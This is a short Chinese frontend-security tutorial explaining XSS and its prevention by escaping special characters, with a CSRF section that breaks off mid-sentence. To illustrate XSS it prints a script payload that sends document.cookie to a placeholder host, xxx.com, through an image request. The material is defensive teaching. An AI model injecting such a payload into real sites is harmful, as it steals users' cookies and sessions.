前端攻击手段有哪些，该如何预防

XSS

Cross Site Scripting 跨站脚本攻击

用户通过某种方式（如输入框、文本编辑器）输入一些内容，其中带有攻击代码（JS 代码）。

该内容再显示时，这些代码也将会被执行，形成了攻击效果。

预防：特殊字符替换（前端或者后端）

<!-- 例如用户提交的内容中有： -->
<script>
    var img = document.createElement('img')
    img.src = 'http://xxx.com/api/xxx?userInfo=' + document.cookie // 将 cookie 提交到自己的服务器
</script>

最简单的解决方式：替换特殊字符

const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')

现代框架默认会屏蔽 XSS 攻击，除非自己手动开启

除非是用 Vue 的 v-html，React 的  `dangerouslySetInnerHTML`

- Vue `v-html`

- React `dangerouslySetInnerHTML`

CSRF

Cross-site request forgery 跨站请求伪造

手段：黑客诱导用户去访问另一个网站的接口，伪造请求

预防：严格的跨域限制 +